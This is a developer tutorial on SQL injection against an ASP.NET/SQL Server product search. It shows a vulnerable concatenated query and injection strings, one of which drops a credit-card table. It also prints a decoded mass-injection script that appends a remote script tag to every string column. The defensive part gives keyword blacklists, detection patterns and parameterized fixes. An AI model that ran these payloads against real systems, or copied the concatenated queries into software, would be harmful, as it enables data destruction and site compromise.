"SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks."

Why another article on SQL Injection? Because no matter how much is written about it, developers still produce code that is susceptible to SQL injection attacks. The following is a dissection of a typical Web site vulnerable to SQL injection, with step by step example of what could happen, and protection methods.

Disclaimer: before even starting, it is important to emphasize – the solution to SQL injection is parameterization! Period! But... what if the client API does not support parameterization? Or the project is so large that changing all occurrences of bad code can result in massive code rewrite which may not be feasible at the moment? This is where some methods like string filtering fit in.

Clever! The guy noted on the original search that there are three columns returned and formed a query to union all user tables from the current database to the result set. First, the value ZZZ is added as search criteria, then the query to extract the user tables is injected, and finally the comment section at the end trims the reminder of the original query. Now the result looks as follows:

Name ProductNumber Color

----------------- ---------------- -------

Address 53575229

AddressType 101575400

AWBuildVersion 149575571

BillOfMaterials 181575685

Contact 309576141

ContactCreditCard 405576483

ContactType 437576597

Once the user tables are known, then next step could be the following search string:

So far the SQL injection attacker has been only exploring data. But things can get really unpleasant if the attacker starts updating or deleting data. Or even dropping tables. The following search text will drop a table with credit card info (if it exists):

ZZZ'; DROP TABLE CreditCardInfo --

All this should convince every developer that SQL injection is a very serious threat that should not be taken lightly.

Solutions

Handling SQL injection can be done both on the client and the server side. The following techniques will demonstrate how to accomplish that.

Client Side Filtering

The client APIs normally provide a variety of methods to filter the user input. It could include using regular expressions, limiting the size of the search arguments, filtering for dangerous keywords, etc. Here is example of creating a black list of keywords that will be filtered from the user input:

public static string[] blackList =

{"--",";--",";","/*","*/","@@","@",

"char","nchar","varchar","nvarchar",

"alter","begin","cast","create","cursor",

"declare","delete","drop","end","exec","execute",

"fetch","insert","kill","open",

"select", "sys","sysobjects","syscolumns",

"table","update"};

private bool CheckInput(string SearchText)

{

for (int i = 0; i < blackList.Length; i++)

{

if ((SearchText.IndexOf(blackList[i],

StringComparison.OrdinalIgnoreCase) >= 0))

{

HttpContext.Current.Response.Redirect("~/Error.aspx");

return false;

}

}

return true;

}

The CheckInput function verifies the user input for any of the words on the black list and if found redirects to an error page. Then the search function looks like this:

string cmdStr = @"SELECT Name, ProductNumber, Color

FROM Production.Product

WHERE Name LIKE '%" + SearchText.Text + "%'";

if(CheckInput(SearchText.Text))

{

using (SqlConnection conn = new SqlConnection(connStr))

using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))

{

DataTable dtProducts = new DataTable();

sda.Fill(dtProducts);

return dtProducts.DefaultView;

}

}

else

{

DataTable dtProducts = new DataTable();

return dtProducts.DefaultView;

}

Parameterization

Most client APIs (including .NET) support parameterization of queries. This allows embedding the user input as parameters. The parameters are placeholders for user entered value which is replaced at execution time. That way the user cannot inject SQL code as the whole user entry is treated as value for the parameter, not as string appended to the query. Again, parameterization is the best solution for SQL injection attacks.

Here is how the same search code will look like with parameterized query (for simplicity here we use a query, but this could be a stored procedure):

string cmdStr = @"SELECT Name, ProductNumber, Color

FROM Production.Product

WHERE Name LIKE '%' + @SearchText + '%'";

using (SqlConnection conn = new SqlConnection(connStr))

using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))

{

DataTable dtProducts = new DataTable();

SqlParameter parm = sda.SelectCommand.Parameters.Add("@SearchText",

SqlDbType.VarChar, 50);

parm.Value = SearchText.Text;

sda.Fill(dtProducts);

return dtProducts.DefaultView;

}

Attempts to enter the same malicious search text will result in to output as there is no product with such name.

Server Side Filtering

Filtering can be implemented on the server side, very similar to the client side black list. Here is a fragment of code that can be added to be beginning of stored procedures to verify the search string entered by the user:

IF UPPER(@SearchText) LIKE UPPER(N'%0x%')

OR UPPER(@SearchText) LIKE UPPER(N'%;%')

OR UPPER(@SearchText) LIKE UPPER(N'%''%')

OR UPPER(@SearchText) LIKE UPPER(N'%--%')

OR UPPER(@SearchText) LIKE UPPER(N'%/*%*/%')

OR UPPER(@SearchText) LIKE UPPER(N'%EXEC %')

OR UPPER(@SearchText) LIKE UPPER(N'%xp[_]%')

OR UPPER(@SearchText) LIKE UPPER(N'%sp[_]%')

OR UPPER(@SearchText) LIKE UPPER(N'%SELECT %')

OR UPPER(@SearchText) LIKE UPPER(N'%INSERT %')

OR UPPER(@SearchText) LIKE UPPER(N'%UPDATE %')

OR UPPER(@SearchText) LIKE UPPER(N'%DELETE %')

OR UPPER(@SearchText) LIKE UPPER(N'%TRUNCATE %')

OR UPPER(@SearchText) LIKE UPPER(N'%CREATE %')

OR UPPER(@SearchText) LIKE UPPER(N'%ALTER %')

OR UPPER(@SearchText) LIKE UPPER(N'%DROP %')

BEGIN

RAISERROR('Possible SQL Injection attempt.', 16, 1);

RETURN;

END

Of course, ultimately the search can be implemented as stored procedure using a parameter, and without dynamic SQL:

CREATE PROCEDURE ProductSearch

@SearchText VARCHAR(200)

AS

SELECT Name, ProductNumber, Color

FROM Production.Product

WHERE Name LIKE '%' + @SearchText + '%';

Secondary Injection Attacks

Recently there has been a new wave of SQL injection attacks. Those utilize a delayed action technique. The way to exploit the web site is the same – looking for any non-parameterized and non-filtered queries and injection a portion of code that will be executed by SQL Server. However, in this attack the code simply loops through all user tables and inserts some HTML or JavaScript code to all string columns. This has dual effect – you data is no longer what you think it is, and then if this data is used to be displayed on a Web page then the HTML or JavaScript code will become part of your Web page.

Here are the steps to illustrate this. Normally attackers search for URLs that pass user input directly via an URL query string. That makes is very easy to inject SQL code as part of the URL. It could look like this (abbreviated):

After the encoding is removed and the string is passed to SQL Server, it looks like this:

DECLARE @S NVARCHAR(4000);

SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));

EXEC(@S);--

Decoding the hex value reveals the actual SQL code that will be executed:

DECLARE @T varchar(255),@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

select a.name,b.name from sysobjects a,syscolumns b

where a.id=b.id and a.xtype='u' and

(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN

exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+

']))+''<script src=http://www.211796*.net/f****p.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

In short, the script loops though all tables in the database and looks for string columns, and then appends the HTML or JavaScript code.

One very unpleasant effect of this attack is that normally pages with such content are treated by major search engines as treats, and are very likely to me considered malicious and removed from indexes.

The same techniques described earlier can be used to prevent secondary SQL injection attacks.

Tools

Here are some tools that can be used to help with SQL Injection attacks: